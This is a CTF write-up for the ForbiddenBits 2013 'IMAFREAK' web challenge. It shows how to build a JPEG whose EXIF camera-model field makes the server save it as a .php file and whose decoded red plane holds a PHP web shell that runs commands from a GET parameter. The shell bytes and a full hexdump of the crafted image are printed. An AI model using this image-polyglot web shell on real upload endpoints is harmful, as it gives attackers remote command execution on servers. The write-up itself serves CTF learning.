ForbidenBits CTF 2013 - Web 600 IMAFREAK Write-up

This is a quick post to give my solution for the IMAFREAK challenge.

What you need to succeed:
– A JPEG file with EXIF CameraModel tag sets to “.php” so that the file is created with filename secretstoreddata/.php
– Same JPEG file with the *RAW* Red plane containing a PHP shell

As you have understood, controlling the RAW output for a color plane is quite of hard as you can’t really predict how the JPEG compression model will react to your input values.

So at first, I wrote a bruteforcer that would fuzz the RGB values of input pixels until it matched what I wanted but it was really slow. I ended up manually tuning many of those values for the perfect result (=spend many hours starring in an hex editor)

So here is the beast:

Zoomed:

I swear I will make a tshirt out of this one.

Lets check that the CameralTag tag contains “.php”:

$ exiftool red-cmd-46.jpg
ExifTool Version Number : 8.15
File Name : red-cmd-46.jpg
Directory : .
File Size : 921 bytes
File Modification Date/Time : 2013:03:16 21:59:41+00:00
File Permissions : rw-r--r--
File Type : JPEG
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
Camera Model Name : .php
X Resolution : 1
Y Resolution : 1
Resolution Unit : None
Y Cb Cr Positioning : Centered
Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100000000.
Image Width : 32
Image Height : 1
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 32x1

Quality is over nine thousand of course.

How does the RAW Red plane looks after JPEG decoding ?

$ hexdump -C d09bf41544a3365a46c9077ebb5e35c3
00000000 3c 3f 50 48 50 20 53 59 53 54 45 4d 28 24 5f 47 |<?PHP SYSTEM($_G|
00000010 45 54 5b 30 5d 29 3b 3f 3e 03 01 00 00 00 00 00 |ET[0]);?>.......|

The full JPEG hexdump:

$ hexdump -C red-cmd-46.jpg
00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 |ÿØÿà..JFIF......|
00000010 00 01 00 00 ff e1 00 68 45 78 69 66 00 00 4d 4d |....ÿá.hExif..MM|
00000020 00 2a 00 00 00 08 00 05 01 10 00 02 00 00 00 05 |.*..............|
00000030 00 00 00 4a 01 1a 00 05 00 00 00 01 00 00 00 50 |...J...........P|
00000040 01 1b 00 05 00 00 00 01 00 00 00 58 01 28 00 03 |...........X.(..|
00000050 00 00 00 01 00 01 00 00 02 13 00 03 00 00 00 01 |................|
00000060 00 01 00 00 00 00 00 00 2e 70 68 70 00 00 00 00 |.........php....|
00000070 00 01 00 00 00 01 00 00 00 01 00 00 00 01 ff fe |..............ÿþ|
00000080 00 42 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 |.BCREATOR: gd-jp|
00000090 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 |eg v1.0 (using I|
000000a0 4a 47 20 4a 50 45 47 20 76 36 32 29 2c 20 71 75 |JG JPEG v62), qu|
000000b0 61 6c 69 74 79 20 3d 20 31 30 30 30 30 30 30 30 |ality = 10000000|
000000c0 30 0a ff db 00 43 00 01 01 01 01 01 01 01 01 01 |0.ÿÛ.C..........|
000000d0 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
*
00000100 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 |.......ÿÛ.C.....|
00000110 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
*
00000140 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 |............ÿÀ..|
00000150 08 00 01 00 20 03 01 22 00 02 11 01 03 11 01 ff |.... ..".......ÿ|
00000160 c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 |Ä...............|
00000170 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b |................|
00000180 ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 |ÿÄ.µ............|
00000190 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 |....}........!1A|
000001a0 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 |..Qa."q.2..¡.#B±|
000001b0 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 |Á.RÑð$3br.......|
000001c0 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 |.%&'()*456789:CD|
000001d0 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 |EFGHIJSTUVWXYZcd|
000001e0 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 |efghijstuvwxyz..|
000001f0 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 |...............¢|
00000200 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 |£¤¥¦§¨©ª²³´µ¶·¸¹|
00000210 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 |ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×|
00000220 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 |ØÙÚáâãäåæçèéêñòó|
00000230 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 |ôõö÷øùúÿÄ.......|
00000240 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 |................|
00000250 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 |........ÿÄ.µ....|
00000260 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 |............w...|
00000270 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 |....!1..AQ.aq."2|
00000280 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 |...B.¡±Á.#3Rð.br|
00000290 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 |Ñ..$4á%ñ....&'()|
000002a0 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 |*56789:CDEFGHIJS|
000002b0 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 |TUVWXYZcdefghijs|
000002c0 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a |tuvwxyz.........|
000002d0 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 |.........¢£¤¥¦§¨|
000002e0 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 |©ª²³´µ¶·¸¹ºÂÃÄÅÆ|
000002f0 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 |ÇÈÉÊÒÓÔÕÖ×ØÙÚâãä|
00000300 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff |åæçèéêòóôõö÷øùúÿ|
00000310 da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 10 d0 |Ú..........?.ü.Ð|
00000320 7f e3 e3 e1 97 fd 8d 73 7f ea 1f f1 2a a2 f1 07 |.ããá.ý.s.ê.ñ*¢ñ.|
00000330 fc 95 1f 04 7f d7 8f c4 ef fd 56 e9 45 15 fc eb |ü....×.ÄïýVéE.üë|
00000340 0f f7 ac 17 fd 93 b9 f7 fe ad 33 83 d6 7f 0c ff |.÷¬.ý.¹÷þ3.Ö..ÿ|
00000350 00 eb f5 2f fd 37 44 e5 fe 24 7d cf 0a 7f dd 3a |.ëõ/ý7Dåþ$}Ï..Ý:|
00000360 ff 00 d3 7f c6 6a fc 53 f8 9d ff 00 25 27 e2 17 |ÿ.Ó.ÆjüSø.ÿ.%'â.|
00000370 fd 8f 1e 2c ff 00 d3 f6 a1 45 15 fd 3f 9c ff 00 |ý..,ÿ.Óö¡E.ý?.ÿ.|
00000380 c8 d7 37 ff 00 b0 fa 3f fa aa cb cd 33 3f f7 7c |È×7ÿ.°ú?úªËÍ3?÷||
00000390 37 f8 aa 7f e9 75 0f ff d9 |7øª.éu.ÿÙ|